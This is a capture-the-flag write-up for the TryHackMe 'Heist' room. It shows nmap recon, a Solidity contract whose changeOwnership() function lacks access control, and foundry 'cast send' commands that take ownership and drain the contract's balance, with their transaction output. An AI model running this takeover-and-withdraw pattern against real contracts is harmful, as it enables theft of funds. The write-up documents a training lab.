Heist - THM
This is the writeup for the TryHackMe medium difficulty room called Heist .
From the task we can conclude that this is going to be about exploiting a Smart Contract.
Recon
CMD: nmap -sS -sV -p- $IP
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-10-04 17:02 CEST
Nmap scan report for 10.10.96.167
Host is up (0.045s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
80/tcp open http
8545/tcp open daap mt-daapd DAAP
The nmap scan show that there is a webserver running on port 80 on the target machine.
The website shows the vulnerable code of the Smart Contract written in Solidity and also shows our wallet properties.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
contract Challenge {
address private owner;
address private initOwner;
constructor() payable {
owner = msg.sender;
initOwner = msg.sender;
}
function changeOwnership() external {
owner = msg.sender;
}
function withdraw() external {
require(msg.sender == owner, "Not owner!");
payable(owner).transfer(address(this).balance);
}
function getBalance() external view returns (uint256) {
return address(this).balance;
}
function getOwnerBalance() external view returns (uint256) {
return address(initOwner).balance;
}
function isSolved() external view returns (bool) {
return (address(this).balance == 0);
}
function getAddress() external view returns (address) {
return msg.sender;
}
function getOwner() external view returns (address) {
return owner;
}
}
The vulnerable function changeOwnership()
allows us to change the owner variable thus we can call the withdraw()
function and make the contract transfer all of its balance to our address.
Exploitation
CMD: cast send $CONTRACT_ADDRESS "changeOwnership()" -r $RPC_URL --private-key $PRIVATE_KEY --legacy
blockHash 0x010feb2f5f5e8a2b37cd878096d43909f2bc3801d8643c7fa51ef6cc3dc5dd89
blockNumber 6
contractAddress
cumulativeGasUsed 27075
effectiveGasPrice 1000000000
from 0xD3042d6511D41935694cd68E8BBAA6FE0cfA8929
gasUsed 27075
logs []
logsBloom 0x00000000000000000000000000000000000000000000...
root
status 1 (success)
transactionHash 0x6cb1ccd31595afc16dc2d80bb95edfc05ab9f5bf2f3465912a369838ff705fca
transactionIndex 0
type 0
blobGasPrice
blobGasUsed
to 0x74dae0A0e456C8556525c7f16fB07CD9c25b2127
CMD: cast send $CONTRACT_ADDRESS "withdraw()" -r $RPC_URL --private-key $PRIVATE_KEY --legacy
blockHash 0x618c9f58791a3d9bc52c0690c0198c6f0e6bac524f192b24fe8dcf4321714b2e
blockNumber 8
contractAddress
cumulativeGasUsed 23714
effectiveGasPrice 1000000000
from 0xD3042d6511D41935694cd68E8BBAA6FE0cfA8929
gasUsed 23714
logs []
logsBloom 0x00000000000000000000000000000000000000000000...
root
status 1 (success)
transactionHash 0x46b74a4e4c7483fee18b7199d29e77192ed0928b77cdbaee669396ed8996ecbd
transactionIndex 0
type 0
blobGasPrice
blobGasUsed
to 0x74dae0A0e456C8556525c7f16fB07CD9c25b2127
Now we can check whether we succeeded.
CMD: cast call $CONTRACT_ADDRESS "isSolved()(bool)" -r ${RPC_URL} --private-key $PRIVATE_KEY
true
After clicking on the Get Flag
button on the website we recive the FLAG.
Last updated on